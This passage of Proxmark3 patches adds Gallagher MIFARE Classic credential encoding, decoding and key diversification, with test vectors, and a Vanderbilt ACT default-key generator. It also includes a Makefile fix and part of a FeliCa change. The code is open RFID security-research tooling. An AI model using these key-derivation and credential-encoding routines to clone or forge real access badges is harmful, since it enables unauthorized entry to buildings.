CmdHFGallagher(const char *cmd); * @param keyOut Buffer to copy the diversified key into (must be 16 bytes). * @return PM3_SUCCESS if successful, PM3_EINVARG if an argument is invalid. */ -int hfgal_diversify_key(uint8_t *site_key, uint8_t *uid, uint8_t uid_len, - uint8_t key_num, uint32_t aid, uint8_t *key_output); +int hfgal_diversify_desfire_key(uint8_t *site_key, uint8_t *uid, uint8_t uid_len, + uint8_t key_num, uint32_t aid, uint8_t *key_output); // The response code when an invalid key is used for authentication // Returned in /client/src/mifare/desfirecore.c, line 1185 (if DesfireExchangeEx fails) diff --git a/client/src/mifare/gallaghercore.c b/client/src/mifare/gallaghercore.c index 80a902bab..f033d02a7 100644 --- a/client/src/mifare/gallaghercore.c +++ b/client/src/mifare/gallaghercore.c @@ -16,8 +16,10 @@ // Common functionality for low/high-frequency GALLAGHER tag encoding & decoding. //----------------------------------------------------------------------------- #include "gallaghercore.h" +#include "aes.h" #include "common.h" #include "ui.h" +#include static void scramble(uint8_t *arr, uint8_t len) { const uint8_t lut[] = { @@ -69,6 +71,51 @@ static void descramble(uint8_t *arr, uint8_t len) { } } +int gallagher_diversify_classic_key(uint8_t *site_key, uint8_t *csn, size_t csn_len, uint8_t *key_output) { + memcpy(key_output, site_key, 16); + for (int i = 0; i < csn_len; i++) { + key_output[i] = site_key[i] ^ csn[i]; + } + return PM3_SUCCESS; +} + +int gallagher_construct_credential(GallagherCredentials_t *creds, uint8_t region, uint16_t facility, uint32_t card, uint8_t issue, bool mes, uint8_t *csn, size_t csn_len, uint8_t *site_key) { + creds->region_code = region; + creds->facility_code = facility; + creds->card_number = card; + creds->issue_level = issue; + creds->mes = mes; + memcpy(creds->csn, csn, csn_len); + memcpy(creds->site_key, site_key, 16); + return PM3_SUCCESS; +} + +int gallagher_read_cad(uint8_t *cad, uint8_t region, uint16_t facility) { + // CAD entries are 3.5 bytes each (28 bits: 4-bit RC, 16-bit FC, 8-bit sector). + // Packed in pairs of 7 bytes starting at byte 4, up to 6 pairs (12 entries). + for (int pair = 0; pair < 6; pair++) { + int base = 4 + pair * 7; + + // Even entry (first 3.5 bytes of pair) + uint8_t rc = (cad[base] >> 4) & 0x0F; + uint16_t fc = ((cad[base] & 0x0F) << 12) | (cad[base + 1] << 4) | ((cad[base + 2] >> 4) & 0x0F); + uint8_t sector = ((cad[base + 2] & 0x0F) << 4) | ((cad[base + 3] >> 4) & 0x0F); + if (rc == region && fc == facility) { + return sector; + } + + // Odd entry (last 3.5 bytes of pair) + rc = cad[base + 3] & 0x0F; + fc = (cad[base + 4] << 8) | cad[base + 5]; + sector = cad[base + 6]; + if (rc == region && fc == facility) { + return sector; + } + } + return -1; +} + + void gallagher_decode_creds(uint8_t *eight_bytes, GallagherCredentials_t *creds) { uint8_t *arr = eight_bytes; @@ -107,6 +154,112 @@ void gallagher_encode_creds(uint8_t *eight_bytes, GallagherCredentials_t *creds) scramble(eight_bytes, 8); } +int gallagher_encode_mes(uint8_t *sixteen_bytes, GallagherCredentials_t *creds) { + // unknown parameters from the research these might be for UUID's longer than 4 bytes? + uint8_t UB = 0x00; + uint8_t UC = 0x00; + uint8_t UD = 0x00; + uint8_t UE = 0x00; + uint8_t PO = 0x00; // Pin offset + uint8_t UX = 0x00; + uint16_t R = 0x0748; + + uint8_t mes[16]; + uint8_t diversified_site_key[16]; + + if (creds->csn_len > 4) { + PrintAndLogEx(ERR, "Credential could not be encoded into a Mifare Enhanced Encryption block. only 4 byte UUID's are supported"); + return PM3_ENOTIMPL; + } + + mes[0] = 0x01; + mes[1] = (creds->card_number & 0xFF0000) >> 16; + mes[2] = (creds->card_number & 0x00FF00) >> 8; + mes[3] = creds->card_number & 0x0000FF; + mes[4] = (creds->facility_code & 0xFF00) >> 8; + mes[5] = creds->facility_code & 0x00FF; + mes[6] = ((creds->region_code & 0x0F) << 4) | (creds->issue_level & 0x0F); + mes[7] = (PO & 0x0F) | ((UX & 0x0F) << 4); + mes[8] = (UB & 0x0F) | ((UC & 0x0F) << 4); + mes[9] = (UD & 0x0F) | ((UE & 0x0F) << 4); + mes[10] = creds->csn[0]; + mes[11] = creds->csn[1]; + mes[12] = creds->csn[2]; + mes[13] = creds->csn[3]; + mes[14] = (R & 0xFF00) >> 8; + mes[15] = R & 0x00FF; + + PrintAndLogEx(DEBUG, "MES before encryption %s", sprint_hex_ascii(mes, 16)); + + gallagher_diversify_classic_key(creds->site_key, creds->csn, creds->csn_len, diversified_site_key); + + mbedtls_aes_context actx; + mbedtls_aes_init(&actx); + if (mbedtls_aes_setkey_enc(&actx, diversified_site_key, 128) != 0) return PM3_ENOKEY; + if (mbedtls_aes_crypt_ecb(&actx, MBEDTLS_AES_ENCRYPT, mes, sixteen_bytes) != 0) return PM3_ENOKEY;; + mbedtls_aes_free(&actx); + + PrintAndLogEx(DEBUG, "MES after encryption %s", sprint_hex_ascii(sixteen_bytes, 16)); + return PM3_SUCCESS; +} + +int gallagher_decode_mes(uint8_t *block, GallagherCredentials_t *creds) { + // unknown parameters from the research these might be for UUID's longer than 4 bytes? + // uint8_t UB = 0x00; + // uint8_t UC = 0x00; + // uint8_t UD = 0x00; + // uint8_t UE = 0x00; + // uint8_t PO = 0x00; + // uint8_t UX = 0x00; + uint16_t R = 0x0748; + uint8_t mes[16]; + + uint8_t diversified_site_key[16]; + gallagher_diversify_classic_key(creds->site_key, creds->csn, creds->csn_len, diversified_site_key); + if (creds->csn_len > 4) { + PrintAndLogEx(WARNING, "UUID length is > 4, this may not be a valid gallagher credential?"); + } + + // AES decrypt 16 bytes + mbedtls_aes_context actx; + mbedtls_aes_init(&actx); + if (mbedtls_aes_setkey_dec(&actx, diversified_site_key, 128) != 0) return PM3_ENOKEY; + if (mbedtls_aes_crypt_ecb(&actx, MBEDTLS_AES_DECRYPT, block, mes) != 0) return PM3_ENOKEY;; + mbedtls_aes_free(&actx); + + PrintAndLogEx(DEBUG, "MES after decryption %s", sprint_hex_ascii(mes, 16)); + + if (mes[0] != 0x01) { + PrintAndLogEx(ERR, "MES block is not valid"); + return PM3_EWRONGANSWER; + } + creds->card_number = mes[1] << 16 | mes[2] << 8 | mes[3]; + creds->facility_code = mes[4] << 8 | mes[5]; + creds->region_code = (mes[6] & 0xF0) >> 4; + creds->issue_level = mes[6] & 0x0F; + // PO = mes[7] & 0x0F; + // UX = (mes[7] & 0xF0) >> 4; + // UB = mes[8] & 0x0F; + // UC = (mes[8] & 0xF0) >> 4; + // UD = mes[9] & 0x0F; + // UE = (mes[9] & 0xF0) >> 4; + // csn is already verified by key diversification + // csn[0] = mes[10]; + // csn[1] = mes[11]; + // csn[2] = mes[12]; + // csn[3] = mes[13]; + R = mes[14] << 8 | mes[15]; + if (R != 0x0748) { + PrintAndLogEx(WARNING, "R value is different from 0x0748, this hasn't been seen in the wild \n https://github.com/megabug/gallagher-research/blob/master/formats/mes.md"); + } + + return PM3_SUCCESS; +} + +bool gallagher_is_valid_creds_struct(GallagherCredentials_t *creds) { + return gallagher_is_valid_creds(creds->region_code, creds->facility_code, creds->card_number, creds->issue_level); +} + bool gallagher_is_valid_creds(uint64_t region_code, uint64_t facility_code, uint64_t card_number, uint64_t issue_level) { bool is_valid = true; @@ -129,3 +282,21 @@ bool gallagher_is_valid_creds(uint64_t region_code, uint64_t facility_code, uint } return is_valid; } + +void print_gallagher_creds(GallagherCredentials_t *creds) { + + if (!gallagher_is_valid_creds_struct(creds)) { + PrintAndLogEx(ERR, "Invalid Gallagher credential"); + return; + } + PrintAndLogEx(SUCCESS, "Gallagher - region: " _GREEN_("%c") " ( " _GREEN_("%u") " )" + ", facility: " _GREEN_("%u") + ", card number: " _GREEN_("%u") + ", issue level: " _GREEN_("%u"), + 'A' + creds->region_code, + creds->region_code, + creds->facility_code, + creds->card_number, + creds->issue_level + ); +} diff --git a/client/src/mifare/gallaghercore.h b/client/src/mifare/gallaghercore.h index 378ea7423..ef3e6d077 100644 --- a/client/src/mifare/gallaghercore.h +++ b/client/src/mifare/gallaghercore.h @@ -17,6 +17,7 @@ #define MIFARE_GALLAGHERCORE_H__ #include "common.h" +#include "crypto/libpcrypto.h" #include typedef struct { @@ -24,12 +25,30 @@ typedef struct { uint16_t facility_code; uint32_t card_number; uint8_t issue_level; + bool mes; + uint8_t csn[10]; + size_t csn_len; + uint8_t site_key[16]; } GallagherCredentials_t; +int gallagher_diversify_classic_key(uint8_t *site_key, uint8_t *csn, size_t csn_len, uint8_t *key_output); + +int gallagher_read_cad(uint8_t *cad, uint8_t region, uint16_t facility); + void gallagher_encode_creds(uint8_t *eight_bytes, GallagherCredentials_t *creds); void gallagher_decode_creds(uint8_t *eight_bytes, GallagherCredentials_t *creds); +int gallagher_construct_credential(GallagherCredentials_t *creds, uint8_t region, uint16_t facility, uint32_t card, uint8_t issue, bool mes, uint8_t *csn, size_t csn_len, uint8_t *site_key); + +int gallagher_encode_mes(uint8_t *sector, GallagherCredentials_t *creds); + +int gallagher_decode_mes(uint8_t *sector, GallagherCredentials_t *creds); + bool gallagher_is_valid_creds(uint64_t region_code, uint64_t facility_code, uint64_t card_number, uint64_t issue_level); +bool gallagher_is_valid_creds_struct(GallagherCredentials_t *creds); + +void print_gallagher_creds(GallagherCredentials_t *creds); + #endif diff --git a/client/src/mifare/gallaghertest.c b/client/src/mifare/gallaghertest.c new file mode 100644 index 000000000..a75531cd9 --- /dev/null +++ b/client/src/mifare/gallaghertest.c @@ -0,0 +1,196 @@ +#include "gallaghertest.h" + +#include +#include // memcpy memset +#include "ui.h" +#include "crc.h" + +#include "mifare/gallaghercore.h" + +static bool creds_match(GallagherCredentials_t *a, GallagherCredentials_t *b) { + return a->region_code == b->region_code && + a->facility_code == b->facility_code && + a->card_number == b->card_number && + a->issue_level == b->issue_level; +} + +static bool test_CAD(void) { + // Example CAD sector from https://github.com/megabug/gallagher-research/blob/master/formats/card-specific/mifare-classic.md + uint8_t cad[] = {0x1B, 0x58, 0x00, 0x01, 0xC1, 0x33, 0x70, 0xFD, 0x13, 0x38, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x77, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; + + // Entry 0: RC=0xC, FC=0x1337, Sector=0x0F + int result = gallagher_read_cad(cad, 0xC, 0x1337); + if (result != 0x0F) { + PrintAndLogEx(INFO, "Gallagher CAD test 1 failed: expected sector 0x0F, got 0x%02X", result); + return false; + } + + // Entry 1: RC=0xD, FC=0x1338, Sector=0x0D + result = gallagher_read_cad(cad, 0xD, 0x1338); + if (result != 0x0D) { + PrintAndLogEx(INFO, "Gallagher CAD test 2 failed: expected sector 0x0D, got 0x%02X", result); + return false; + } + + // Non-existent entry should return -1 + result = gallagher_read_cad(cad, 0xA, 0x1234); + if (result != -1) { + PrintAndLogEx(INFO, "Gallagher CAD test 3 failed: expected -1, got %d", result); + return false; + } + + return true; +} + +static bool test_creds(void) { + GallagherCredentials_t creds1 = { + .region_code = 0x0, + .facility_code = 0x0, + .card_number = 0x0, + .issue_level = 0x0, + }; + + GallagherCredentials_t creds2 = { + .region_code = 0x1, + .facility_code = 0x2, + .card_number = 0x20, + .issue_level = 0x1, + }; + + GallagherCredentials_t cred_result = {0}; + uint8_t bytes_result[8] = {0}; + + gallagher_encode_creds(bytes_result, &creds1); + gallagher_decode_creds(bytes_result, &cred_result); + if (!creds_match(&cred_result, &creds1)) { + PrintAndLogEx(INFO, "Gallagher encode/decode roundtrip test 1 failed"); + return false; + } + + gallagher_encode_creds(bytes_result, &creds2); + gallagher_decode_creds(bytes_result, &cred_result); + if (!creds_match(&cred_result, &creds2)) { + PrintAndLogEx(INFO, "Gallagher encode/decode roundtrip test 2 failed"); + return false; + } + + return true; +} + +// Test decode/encode against known real-world data from the documentation +static bool test_known_vector_creds(void) { + // From doc: 0xA3B4B0C151B0A31B decodes to RC=12, FC=4919(0x1337), CN=61453(0xF00D), IL=1 + uint8_t known_bytes[] = {0xA3, 0xB4, 0xB0, 0xC1, 0x51, 0xB0, 0xA3, 0x1B}; + GallagherCredentials_t expected = { + .region_code = 12, + .facility_code = 4919, + .card_number = 61453, + .issue_level = 1, + }; + + // Test decode + GallagherCredentials_t result = {0}; + gallagher_decode_creds(known_bytes, &result); + if (!creds_match(&expected, &result)) { + PrintAndLogEx(INFO, "Known vector decode failed: RC=%d FC=%d CN=%d IL=%d", + result.region_code, result.facility_code, result.card_number, result.issue_level); + return false; + } + + // Test encode roundtrip + uint8_t encoded[8] = {0}; + gallagher_encode_creds(encoded, &expected); + if (memcmp(encoded, known_bytes, 8) != 0) { + PrintAndLogEx(INFO, "Known vector encode failed"); + return false; + } + + // Verify bitwise inverse (block 0 format: 8-byte creds + 8-byte inverse) + uint8_t known_block0[] = {0xA3, 0xB4, 0xB0, 0xC1, 0x51, 0xB0, 0xA3, 0x1B, + 0x5C, 0x4B, 0x4F, 0x3E, 0xAE, 0x4F, 0x5C, 0xE4 + }; + for (int i = 0; i < 8; i++) { + if ((uint8_t)(known_block0[i] ^ 0xFF) != known_block0[i + 8]) { + PrintAndLogEx(INFO, "Bitwise inverse check failed at byte %d", i); + return false; + } + } + + return true; +} + +// Test MAD CRC against known sector 0 data from the documentation +static bool test_mad_crc(void) { + // Full sector 0 from documentation (blocks 0-2, excluding trailer) + uint8_t sector0[64] = { + // Block 0 (manufacturer) + 0xE3, 0x51, 0x54, 0x3C, 0xDA, 0x08, 0x04, 0x00, 0x01, 0x6F, 0x01, 0x6D, 0x45, 0x68, 0xF8, 0x1D, + // Block 1 (MAD: CRC, info byte, AIDs 1-7) + 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + // Block 2 (MAD: AIDs 8-15) + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x48, 0x11, 0x48, 0x12, 0x48, + // Block 3 (sector trailer - not part of CRC) + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x77, 0x88, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + }; + + // MAD v1 CRC: computed over sector0[17..47] (info byte + 15 AID pairs = 31 bytes) + uint8_t expected_crc = sector0[16]; // 0xBD + uint8_t computed_crc = CRC8Mad(§or0[16 + 1], 15 + 16); + if (computed_crc != expected_crc) { + PrintAndLogEx(INFO, "MAD CRC test failed: expected 0x%02X, got 0x%02X", expected_crc, computed_crc); + return false; + } + + return true; +} + +static bool test_MES(void) { + + uint8_t csn[] = {0x3C, 0x54, 0x51, 0xE3}; + uint8_t csn_len = 4; + uint8_t site_key[] = {0x13, 0x37, 0xD0, 0x0D, 0x13, 0x37, 0xD0, 0x0D, 0x13, 0x37, 0xD0, 0x0D, 0x13, 0x37, 0xD0, 0x0D}; + + GallagherCredentials_t known_cred; + gallagher_construct_credential(&known_cred, 12, 0x1337, 0xF00D, 1, true, csn, csn_len, site_key); + + GallagherCredentials_t result_creds = {0}; + gallagher_construct_credential(&result_creds, 0, 0, 0, 0, true, csn, csn_len, site_key); + + uint8_t sector_result[16] = {0}; + uint8_t known_sector[16] = {0x4F, 0x36, 0xB7, 0x4E, 0xFF, 0xCD, 0x76, 0xEF, 0xED, 0xA5, 0x74, 0x58, 0xC8, 0xB4, 0xE3, 0x04}; + + // Test encode + gallagher_encode_mes(sector_result, &known_cred); + if (memcmp(sector_result, known_sector, 16) != 0) { + PrintAndLogEx(INFO, "Gallagher MES encode test failed"); + PrintAndLogEx(INFO, "Expected: %s", sprint_hex_ascii(known_sector, 16)); + PrintAndLogEx(INFO, "Got: %s", sprint_hex_ascii(sector_result, 16)); + return false; + } + + // Test decode + if (gallagher_decode_mes(known_sector, &result_creds) != PM3_SUCCESS) { + PrintAndLogEx(INFO, "Gallagher MES decode test failed"); + return false; + } + if (!creds_match(&known_cred, &result_creds)) { + PrintAndLogEx(INFO, "Gallagher MES decoded different creds than expected"); + return false; + } + + return true; +} + +bool GallagherTest(bool verbose) { + bool result = true; + result &= test_CAD(); + result &= test_creds(); + result &= test_known_vector_creds(); + result &= test_mad_crc(); + result &= test_MES(); + return result; +} diff --git a/client/src/mifare/gallaghertest.h b/client/src/mifare/gallaghertest.h new file mode 100644 index 000000000..26b688be9 --- /dev/null +++ b/client/src/mifare/gallaghertest.h @@ -0,0 +1,27 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// tests for desfire +//----------------------------------------------------------------------------- + +#ifndef __GALLAGHERTEST_H__ +#define __GALLAGHERTEST_H__ + +#include +#include "common.h" + +bool GallagherTest(bool verbose); + +#endif /* __GALLAGHERTEST_H__ */ From 68ff5c3b28ae82e83fd03b83b2211e67369dd258 Mon Sep 17 00:00:00 2001 From: pingu2211 Date: Tue, 10 Mar 2026 15:19:23 +1100 Subject: [PATCH 074/162] Add to Change Log --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index edae94449..3c7fcf75e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added Mifare Classic support to `hf gallagher` command (@pingu2211) - Added `hf felica discnodes` command (@kormax) - Added `hf mfp dump` command (@apply-science) - Added `hf felica seacinfo` command (@kormax) From 0577f6f321d7dd1585cf5f3a0a14960b8bc01ad1 Mon Sep 17 00:00:00 2001 From: Sujit Konapur Date: Mon, 9 Mar 2026 23:26:45 -0700 Subject: [PATCH 075/162] fix: use strip() when comparing PLATFORM_DEFS to avoid spurious rebuilds PLATFORM_DEFS is built with += on an initially empty variable, which produces a leading space in GNU make. The cached value written to .Makefile.options.cache has no leading space, so the ifneq comparison always evaluates to true, causing PLATFORM_CHANGED=true on every invocation and triggering a clean of bootrom/armsrc/recovery after every build. --- common_arm/Makefile.hal | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/common_arm/Makefile.hal b/common_arm/Makefile.hal index 429fc1717..2e10ccd3d 100644 --- a/common_arm/Makefile.hal +++ b/common_arm/Makefile.hal @@ -306,7 +306,7 @@ ifneq ($(PLATFORM), $(CACHED_PLATFORM)) PLATFORM_CHANGED=true else ifneq ($(PLATFORM_EXTRAS), $(CACHED_PLATFORM_EXTRAS)) PLATFORM_CHANGED=true -else ifneq ($(PLATFORM_DEFS), $(CACHED_PLATFORM_DEFS)) +else ifneq ($(strip $(PLATFORM_DEFS)), $(strip $(CACHED_PLATFORM_DEFS))) PLATFORM_CHANGED=true endif From ad3885a9bb56b15b4b73c6ad679743c5598e3044 Mon Sep 17 00:00:00 2001 From: jof Lassoff Date: Tue, 10 Mar 2026 15:49:39 +0000 Subject: [PATCH 076/162] Add Vanderbilt ACT pattern-based key generation to hf mf keygen - Implements mfc_algo_vanderbilt_one() and mfc_algo_vanderbilt_all() - Generates keys using 'Acces' + block ID pattern (416363657300-4163636573FF) - Supports all 40 sectors for 4K cards - Eliminates need for 256+ keys in dictionary file - Keys generated dynamically on-demand --- common/generator.c | 37 +++++++++++++++++++++++++++++++++++++ common/generator.h | 3 +++ 2 files changed, 40 insertions(+) diff --git a/common/generator.c b/common/generator.c index 62512c103..ce39a1824 100644 --- a/common/generator.c +++ b/common/generator.c @@ -620,6 +620,42 @@ int mfc_algo_snapmaker_all(uint8_t *uid, uint8_t *keys) { return PM3_SUCCESS; } +// Vanderbilt ACT pattern-based key generation +// Generates keys by appending block ID to "Acces" (0x4163636573) +// Pattern: 416363657300, 416363657301, ..., 4163636573FF +int mfc_algo_vanderbilt_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key) { + if (key == NULL) return PM3_EINVARG; + if (sector > 39) return PM3_EINVARG; + + // Base pattern: "Acces" in ASCII = 0x4163636573 + // For each sector, we generate keys for all 4 blocks (or 16 for sector 32+) + // Key format: 41 63 63 65 73 XX where XX is the block number + + uint8_t first_block = (sector < 32) ? (sector * 4) : (128 + (sector - 32) * 16); + uint8_t block_id = first_block + 3; // Use sector trailer block ID + + // Both key A and B use the same pattern with block ID + uint8_t key_bytes[6] = {0x41, 0x63, 0x63, 0x65, 0x73, block_id}; + *key = bytes_to_num(key_bytes, 6); + + return PM3_SUCCESS; +} + +int mfc_algo_vanderbilt_all(uint8_t *uid, uint8_t *keys) { + if (keys == NULL) return PM3_EINVARG; + + // Generate keys for all sectors (40 sectors for 4K card) + for (int keytype = 0; keytype < 2; keytype++) { + for (int sector = 0; sector < 40; sector++) { + uint64_t key = 0; + mfc_algo_vanderbilt_one(uid, sector, keytype, &key); + num_to_bytes(key, 6, keys + (keytype * 40 * 6) + (sector * 6)); + } + } + + return PM3_SUCCESS; +} + static kdf_t KDFTable[] = { {"Saflok / Maid", 16, mfc_algo_saflok_all, 4}, {"MIZIP", 5, mfc_algo_mizip_all, 4}, @@ -627,6 +663,7 @@ static kdf_t KDFTable[] = { {"Skylanders", 16, mfc_algo_sky_all, 4}, {"Bambu Lab Filament Spool", 16, mfc_algo_bambu_all, 4}, {"Snapmaker Filament Spool", 16, mfc_algo_snapmaker_all, 4}, + {"Vanderbilt ACT", 40, mfc_algo_vanderbilt_all, 0}, // {"Vinglock", 16, mfc_algo_ving_all, 4}, // not implemented // {"Yale Doorman", 16, mfc_algo_yale_all, 4}, // not implemented }; diff --git a/common/generator.h b/common/generator.h index d0dc0a8e9..0cd10b8ce 100644 --- a/common/generator.h +++ b/common/generator.h @@ -79,6 +79,9 @@ int mfc_algo_bambu_all(uint8_t *uid, uint8_t *keys); int mfc_algo_snapmaker_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); int mfc_algo_snapmaker_all(uint8_t *uid, uint8_t *keys); +int mfc_algo_vanderbilt_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); +int mfc_algo_vanderbilt_all(uint8_t *uid, uint8_t *keys); + uint32_t lf_t55xx_white_pwdgen(uint32_t id); int mfdes_kdf_input_gallagher(uint8_t *uid, uint8_t uidLen, uint8_t keyNo, uint32_t aid, uint8_t *kdfInputOut, uint8_t *kdfInputLen); From d9aee50dc467de6f2554c30e0466e83da35b8cad Mon Sep 17 00:00:00 2001 From: jof Lassoff Date: Tue, 10 Mar 2026 15:51:17 +0000 Subject: [PATCH 077/162] Remove redundant Vanderbilt ACT pattern keys from dictionary - Removed 257 lines of 'Acces'+N pattern keys (416363657300-4163636573FF) - These keys can now be generated dynamically with: hf mf keygen -k 6 - Kept unique Vanderbilt keys (414354616374, 4D61071B7254, 34016FAC127D) - Reduces dictionary file size and maintenance burden --- client/dictionaries/mfc_default_keys.dic | 259 +---------------------- 1 file changed, 2 insertions(+), 257 deletions(-) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index cf9010bac..37e57815e 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -3254,263 +3254,8 @@ E058DC0E2C34 # # Vanderbilt Industries, ACT Line # "ACTact" in ASCII -- appears to hold creds in Sector 1, Block 4 +# Note: "Acces"+N pattern keys (416363657300-4163636573FF) can be generated +# dynamically using: hf mf keygen -k 6 414354616374 4D61071B7254 34016FAC127D -# "Acces"+N Keys, Blocks 0x00-0xFF -416363657300 -416363657301 -416363657302 -416363657303 -416363657304 -416363657305 -416363657306 -416363657307 -416363657308 -416363657309 -41636365730A -41636365730B -41636365730C -41636365730D -41636365730E -41636365730F -416363657310 -416363657311 -416363657312 -416363657313 -416363657314 -416363657315 -416363657316 -416363657317 -416363657318 -416363657319 -41636365731A -41636365731B -41636365731C -41636365731D -41636365731E -41636365731F -416363657320 -416363657321 -416363657322 -416363657323 -416363657324 -416363657325 -416363657326 -416363657327 -416363657328 -416363657329 -41636365732A -41636365732B -41636365732C -41636365732D -41636365732E -41636365732F -416363657330 -416363657331 -416363657332 -416363657333 -416363657334 -416363657335 -416363657336 -416363657337 -416363657338 -416363657339 -41636365733A -41636365733B -41636365733C -41636365733D -41636365733E -41636365733F -416363657340 -416363657341 -416363657342 -416363657343 -416363657344 -416363657345 -416363657346 -416363657347 -416363657348 -416363657349 -41636365734A -41636365734B -41636365734C -41636365734D -41636365734E -41636365734F -416363657350 -416363657351 -416363657352 -416363657353 -416363657354 -416363657355 -416363657356 -416363657357 -416363657358 -416363657359 -41636365735A -41636365735B -41636365735C -41636365735D -41636365735E -41636365735F -416363657360 -416363657361 -416363657362 -416363657363 -416363657364 -416363657365 -416363657366 -416363657367 -416363657368 -416363657369 -41636365736A -41636365736B -41636365736C -41636365736D -41636365736E -41636365736F -416363657370 -416363657371 -416363657372 -416363657373 -416363657374 -416363657375 -416363657376 -416363657377 -416363657378 -416363657379 -41636365737A -41636365737B -41636365737C -41636365737D -41636365737E -41636365737F -416363657380 -416363657381 -416363657382 -416363657383 -416363657384 -416363657385 -416363657386 -416363657387 -416363657388 -416363657389 -41636365738A -41636365738B -41636365738C -41636365738D -41636365738E -41636365738F -416363657390 -416363657391 -416363657392 -416363657393 -416363657394 -416363657395 -416363657396 -416363657397 -416363657398 -416363657399 -41636365739A -41636365739B -41636365739C -41636365739D -41636365739E -41636365739F -4163636573A0 -4163636573A1 -4163636573A2 -4163636573A3 -4163636573A4 -4163636573A5 -4163636573A6 -4163636573A7 -4163636573A8 -4163636573A9 -4163636573AA -4163636573AB -4163636573AC -4163636573AD -4163636573AE -4163636573AF -4163636573B0 -4163636573B1 -4163636573B2 -4163636573B3 -4163636573B4 -4163636573B5 -4163636573B6 -4163636573B7 -4163636573B8 -4163636573B9 -4163636573BA -4163636573BB -4163636573BC -4163636573BD -4163636573BE -4163636573BF -4163636573C0 -4163636573C1 -4163636573C2 -4163636573C3 -4163636573C4 -4163636573C5 -4163636573C6 -4163636573C7 -4163636573C8 -4163636573C9 -4163636573CA -4163636573CB -4163636573CC -4163636573CD -4163636573CE -4163636573CF -4163636573D0 -4163636573D1 -4163636573D2 -4163636573D3 -4163636573D4 -4163636573D5 -4163636573D6 -4163636573D7 -4163636573D8 -4163636573D9 -4163636573DA -4163636573DB -4163636573DC -4163636573DD -4163636573DE -4163636573DF -4163636573E0 -4163636573E1 -4163636573E2 -4163636573E3 -4163636573E4 -4163636573E5 -4163636573E6 -4163636573E7 -4163636573E8 -4163636573E9 -4163636573EA -4163636573EB -4163636573EC -4163636573ED -4163636573EE -4163636573EF -4163636573F0 -4163636573F1 -4163636573F2 -4163636573F3 -4163636573F4 -4163636573F5 -4163636573F6 -4163636573F7 -4163636573F8 -4163636573F9 -4163636573FA -4163636573FB -4163636573FC -4163636573FD -4163636573FE -4163636573FF From 81d27483219c21d036ce8fda4f429568f2b8c567 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Tue, 10 Mar 2026 17:55:42 +0200 Subject: [PATCH 078/162] Improve FeliCa command IDM handling --- client/src/cmdhffelica.c | 445 +++++++++++++++++++++++---------------- 1 file changed, 266 insertions(+), 179 deletions(-) diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index 1caeee9cd..d74b58ef5 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -49,6 +49,7 @@ #define FELICA_DEFAULT_RETRY_COUNT 3U #define FELICA_DISCOVER_DEFAULT_RETRY_COUNT 5U #define FELICA_DISCOVERY_RETRY_BACKOFF_MS 1000U +#define FELICA_TARGET_PRESENCE_ATTEMPTS 3U #define FELICA_PLATFORM_INFO_MAX_LEN 64U #define FELICA_PLATFORM_INFO_WITH_MAC_INFO_LEN 25U #define FELICA_PLATFORM_INFO_WITH_MAC_LEN 20U @@ -111,6 +112,7 @@ #define FELICA_REQUEST_SERVICE_DISCOVERY_BATCH_SIZE 16U #define FELICA_MAX_NODE_NUMBER 0x03FFU +#define FELICA_PRESENCE_SERVICE_CODE_LE ((uint16_t)FELICA_SERVICE_ATTRIBUTE_RANDOM_RO_WITHOUT_KEY) typedef struct { uint8_t attribute; @@ -206,6 +208,11 @@ typedef struct { uint32_t public_service_count; } felica_dump_context_t; +typedef enum { + FELICA_IDM_RESOLVE_STANDALONE = 0, + FELICA_IDM_RESOLVE_CHAINED, +} felica_idm_resolution_mode_t; + static int CmdHelp(const char *Cmd); @@ -251,6 +258,19 @@ static void set_last_known_card(felica_card_select_t card) { last_known_card = card; } +static void felica_set_last_known_idm(const uint8_t *idm) { + if (idm == NULL) { + return; + } + + if (memcmp(last_known_card.IDm, idm, sizeof(last_known_card.IDm)) == 0) { + return; + } + + memset(&last_known_card, 0, sizeof(last_known_card)); + memcpy(last_known_card.IDm, idm, sizeof(last_known_card.IDm)); +} + static void print_status_flag1_interpretation(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, 